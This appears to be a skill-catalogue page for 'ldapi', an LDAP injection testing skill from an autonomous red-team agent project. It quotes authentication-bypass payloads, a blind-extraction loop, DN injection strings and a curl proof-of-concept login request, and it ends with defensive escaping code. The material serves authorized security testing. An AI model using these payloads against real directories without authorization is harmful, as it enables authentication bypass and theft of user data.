ldapi

ldapi is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 23 tokens per session (678 once invoked), scanned A, original, Apache-2.0.

A security testing guide for LDAP injection, where crafted input changes the directory search used for login or user lookup. LDAP is a common system for storing users and groups.

In plain words
What is it for?
Use it to inspect LDAP filters, distinguished names, and applications that build directory queries from user input.
Why use it?
It helps uncover authentication bypasses, unauthorized directory searches, and exposure of user information.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to inspect LDAP filters, distinguished names, and applications that build directory queries from user input.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/ldapi
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill ldapi
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ldapi

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/ldapi/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/ldapi)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/ldapi"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/ldapi/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ldapi

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/ldapi"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/ldapi.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 23 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 678 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 2 findings, up to medium

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • medium Data Exfiltration · line 62
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Agent Snooping · line 85
    Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.
    Fix: Remove all code or instructions that list or read other skills' files or directories. Skills should operate independently; cross-skill access is a privilege escalation.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00023 $0.00678
Opus 5 $0.00012 $0.00339
Sonnet 5 $0.00005 $0.00136
Haiku 4.5 $0.00002 $0.00068

Measured 9d ago against content hash 1c7aeb4a4ee0, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

ldapi scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • ldapi — 100% identical, 0 lines differ
packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md · 86 lines

How it starts

The opening of the file, as written. The whole thing — 86 lines — stays where its author put it; the contents beside it link to each section on GitHub.

LDAP Injection

LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not). User input concatenated into the filter string = injection.

1. Auth bypass

# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"

# Payload — comment-out rest of filter via wildcard
user = "*"
pw   = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin

user = "admin)(|(uid=*"
pw   = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored

2. Blind extraction

# Boolean-blind: probe each char via wildcard match
for c in string.printable:
    payload = f"*)(uid=admin)(description={c}*)"
    if "found" in response:
        # next char is c

3. DN injection

# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins"  → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)

4. Common vulnerable apps

  • Custom auth backends w/ python-ldap or ldap3 lib direct-format
  • Legacy Java apps w/ JNDI w/o escaping
  • DokuWiki / older intranets

5. Tools

  • Manual via Burp Repeater (most cases need careful crafting)
  • ldapsearch to verify directly once you have any cred
  • Burp Intruder w/ payloads from _corpus/payloads/LDAP Injection/

6. PoC

curl -s -X POST $TARGET/login -d 'user=*&pass=*'   # if logged in → bug

7. Severity

Bug Severity
Auth bypass via wildcard Critical 9.8
Blind extract of full LDAP directory Critical 9.0
DN injection enabling group escalation High 8.0

8. Defender

import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')

Cross-references

  • Upstream catalog: skills/_corpus/payloads/LDAP Injection/
  • AD attack patterns (different layer): skills/ad/SKILL.md

Read the full file on GitHub · 86 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 86 lines · 23 tokens per session scan A 1c7aeb4a4ee0

Subscribe to this mod's changes

ldapi is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 23 tokens to every session and 678 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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